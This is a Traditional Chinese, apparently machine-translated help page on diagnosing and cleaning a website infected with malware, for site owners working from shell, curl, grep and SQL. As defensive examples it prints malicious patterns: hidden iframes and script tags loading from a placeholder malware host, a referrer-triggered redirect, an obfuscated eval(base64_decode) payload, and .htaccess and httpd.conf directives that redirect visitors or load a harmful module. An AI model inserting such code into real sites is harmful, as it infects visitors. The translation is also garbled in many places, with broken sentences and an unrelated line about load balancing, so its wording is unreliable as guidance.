惡意軟體入侵

惡意軟體是指專為危害 電腦、行動裝置、執行的軟體或使用者。 如要進一步瞭解惡意軟體,請參閱惡意軟體和垃圾軟體

如果你的網站含有惡意軟體,使用者通常會看到 「這個網站可能會損害你的電腦」搜尋結果或 插頁就會在使用者嘗試造訪您的網站時 網站的網址,如下所示:

代表性的惡意軟體插頁
顯示惡意軟體警告的搜尋結果。
,瞭解如何調查及移除這項存取權。

您必須具備下列條件:

  • 可存取網站伺服器的殼層或終端機管理員:網路、資料庫、 和檔案
  • 殼層或終端機指令。
  • 能夠在資料庫上執行 SQL 查詢。

準備

  • 申請使用 Search Console 並依照文說明驗證 遭入侵網站的擁有權 Search Console 會提供受影響的網頁示例 輕鬆修復遭入侵的惡意軟體問題此外,你會收到警告 。
  • 查看 Google 安全瀏覽診斷頁面 查看公開資訊,瞭解網站是否對使用者有害。 您可以使用類似下方的網址,查看網頁或網站的資訊狀態: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 例如: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> 可以是特定網頁網址 (http://example.com/badpage),或是 排除整個網站 (example.com)

  • 避免使用瀏覽器查看網站上的網頁。因為惡意軟體經常 系統會利用瀏覽器的漏洞、開啟感染惡意軟體 網頁可能會損害電腦。除非是診斷操作說明 表示要直接在瀏覽器中存取網頁,請使用 cURL,或 使用 Wget 執行 HTTP 要求 (例如擷取網頁)。

    這些免費工具有助於診斷重新導向,且能 可讓您靈活加入參照網址或使用者代理程式資訊。包括 特定的參照網址或使用者代理程式對於模仿駭客很有幫助,因為 駭客可能只會對 使用者代理程式或參照網址並且避開 找出來自網站擁有者和惡意軟體掃描程式的惡意軟體

`curl -v --referer "http://www.google.com" <your-url>`

以下範例會同時指定使用者代理程式和參照網址:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

我們建議擷取有/沒有標記的網頁 --referer "https://www.google.com",因為部分惡意軟體只能啟動 當使用者來自 Google 搜尋結果時

  • 建立一個文件,用來記錄本步驟中查到的結果。文件會 最終納入 (至少) 每個損壞檔案的名稱和位置 和附註說明受到感染的方式 清理及維護您的網站

  • 請觀看本網頁的影片,瞭解惡意軟體的運作原理,以及如何 保障惡意軟體安全

診斷

判斷哪些惡意軟體影響了網站:

  1. 開啟安全性問題報告 驗證您的網站 展開惡意軟體警告的說明,查看受影響的網頁示例清單。 請注意,這份清單僅列出部分示例。可能不會取得 網站上所有類型的惡意軟體
  2. 測試您的範例網頁是否含有下列類型的惡意軟體。
,瞭解如何調查及移除這項存取權。

伺服器設定惡意軟體 (不必要的重新導向)

駭客已入侵你的網站,並將訪客重新導向你的優質網站 竄改網站供應商的惡意軟體攻擊網站 設定檔伺服器設定檔通常允許網站 管理員負責為 YouTube 上的特定網頁或目錄指定網址重新導向 網站。以 Apache 伺服器為例,指的就是 .htaccess 檔案和 httpd.conf

診斷

造訪安全性問題報告中顯示的部分網址示例。回覆 「伺服器設定」受感染的網頁可能包括 下列標題:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

確認受影響的檔案

透過殼層或終端機存取登入伺服器 (網站可以離線) ),並檢閱相關的伺服器設定檔。可能會有更多 網站上有多個遭到入侵的伺服器設定檔。請查看這些檔案 不必要的指令,例如重新導向至未知的網站。例如,在 .htaccess` 檔案,您可能會看到重新導向,如下所示:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL 插入

駭客已入侵您網站的資料庫。舉例來說,駭客可能 以程式輔助方式將惡意程式碼插入資料庫的每筆記錄 這樣當伺服器載入的網頁需要 資料庫,惡意程式碼現已嵌入頁面內容, 或可能損害網站訪客的體驗

診斷

  1. 在指令列中對受影響的網址執行查詢,然後檢查 SQL 攻擊字詞回應,例如「iframe」或「eval」
  2. 登入資料庫伺服器,或使用下列工具查看資料庫: phpMyAdmin.如果 如使用了 Wget 或 cURL,請試著釐清網頁來源中所示損害的關聯性 與實際的資料庫項目搭配使用。舉例來說 您發現自己的網頁含有危險的 iframe,這時即可執行 SQL 查詢搜尋 iframe 程式碼。例如:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. 建議您也查看伺服器上的資料庫記錄檔和錯誤檔案 不尋常的活動,例如看起來不尋常的非預期的 SQL 指令 一般使用者或錯誤

修正問題

請更新每筆受感染的資料庫記錄,或是還原最後一個已知資料庫 備份。

程式碼植入

您網站上的網頁已遭到修改並置入惡意程式碼,例如您的 iframe 中 遭到惡意軟體攻擊的網站

診斷

前往安全性問題報告中的部分網址示例,使用 cURL 或 wGet 並檢查是否有可疑的程式碼。插入的程式碼可能有多種類型, 難以找到建議搜尋「iframe」這類字詞尋找 iframe 程式碼。此外,「script」、「eval」和「unescape」等也都是實用的關鍵字。適用對象 例如在所有檔案中搜尋「iframe」的 Pod 功能:

$grep -irn "iframe" ./ | less</pre>

以下是一些常見的惡意軟體模式。

載入惡意網站的 iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

呼叫及執行 攻擊網站:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

將瀏覽器重新導向至攻擊性網站的指令碼:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

以矇騙手法躲避偵測的惡意程式碼:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

專門用於隨機寫入有害程式碼的共用物件檔案 指令碼:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

惡意錯誤範本

用於顯示錯誤訊息的範本 (例如 404 找不到檔案) 已經過設定 來散佈惡意軟體如此一來,攻擊者就能在含有 根本不存在

診斷

要求網站傳回不存在的網頁,或是會擲回其他類型的網頁 並檢查回應,看看該內容是來自其他網站, 否則可能包含惡意軟體

修正問題

登入網路伺服器並搜尋伺服器設定檔,找出錯誤 網頁指令例如,Apache 網路伺服器適用的錯誤範本 在 .htaccess 檔案中宣告。以下這個 .htaccess 檔案項目範例 會從惡意網站擷取 404 錯誤頁面:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

準備好清理網站時,請替換 .htaccess 個檔案 來刪除不需要的 ErrorDocument 指示詞 現有 .htaccess 個檔案。如果發生下列情形,請務必一併清除實際的錯誤檔案: 預先闢謠介入措施最後,請重新啟動網路伺服器 變更就會生效

從遭入侵或惡意網站載入資源 {compromised-resources}

您網站中使用了已知含有網站的內容或資源 惡意內容這些檔案可以是 JavaScript 檔案、圖片或其他檔案。 因此,我們將您的網站標記為有惡意軟體所帶來的惡意軟體 網站。

診斷

前往安全性問題報告中列出的部分示例網址。

修正問題

  1. 如要確認問題,請瀏覽 Search Console 中的安全性問題報告。您應該會看到瀏覽器警告。
  2. 瀏覽器警告會顯示可疑內容的網域。 針對瀏覽器警告中列出的受檢舉網站,移除所有參照。 如果遭檢舉網站上的內容在您不知情的情況下遭到附上, 是更嚴重的問題你的網站很可能已遭到入侵,而你 ,請持續檢查網站是否存在其他入侵與漏洞。
  3. 如果您刻意從合法網站上, 這時您希望在遭檢舉的網站 清除所用資源,您可以使用 Google 安全瀏覽診斷頁面 專屬網站 (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}。 合法網站的擁有者通常很快就會進行清理。

額外調查

接著,檢查系統是否還有任何其他惡意檔案或異動。 駭客可能完全修改了現有網頁或資料庫記錄, 新的垃圾網頁、在乾淨網頁上顯示垃圾內容的書面函式, 「後門」才能再次入侵您的網站,或者再次 找出您移除的惡意程式碼

如果您的網站已上線,建議您離線後進行調查。

如果您擁有網站的完好備份,請判斷哪些檔案 再對這些備份進行調查。在 Unix 系統上運作 您可以使用以下指令尋找新檔案:

diff -qr <current-directory> <backup-directory>

例如:

diff -qr www/ backups/full-backup-20120124/

另外:

md5sum <current-page> <backup-page>

例如:

md5sum www/page.html backups/full-backup-20120124/page.html

檢查伺服器、存取和錯誤記錄中是否有任何可疑活動,例如: 嘗試登入失敗、指令記錄 (尤其是根層級),以及 使用者帳戶。請注意,駭客可能修改了這些記錄檔 個人用途以下列舉幾個例子 找出安全漏洞

檢查重新導向的設定檔。您的設定檔位於 名稱通常為 .htaccesshttpd.conf。駭客常會形成條件 根據使用者代理程式、時段或參照網址進行重新導向。如果需要 更新設定檔時,您可能需要重新啟動伺服器, 變更才會生效

檢查資料夾和檔案權限是否過於寬鬆。駭客竄改內容 因為如果網站擁有者仍然沒有偵測出寬鬆的權限, 才能再次進入網站。檔案大於 644 (rw-r--r--) 和大於 755 (rwxr-xr-x) 的資料夾可能造成安全性 以負載平衡機制分配流量 即可降低應用程式發生效能問題的風險請確認給予這些資料夾如此低權限的必要性。啟用 Unix 系統,請嘗試:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

和:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

如果您有資料庫,可以使用像 phpMyAdmin.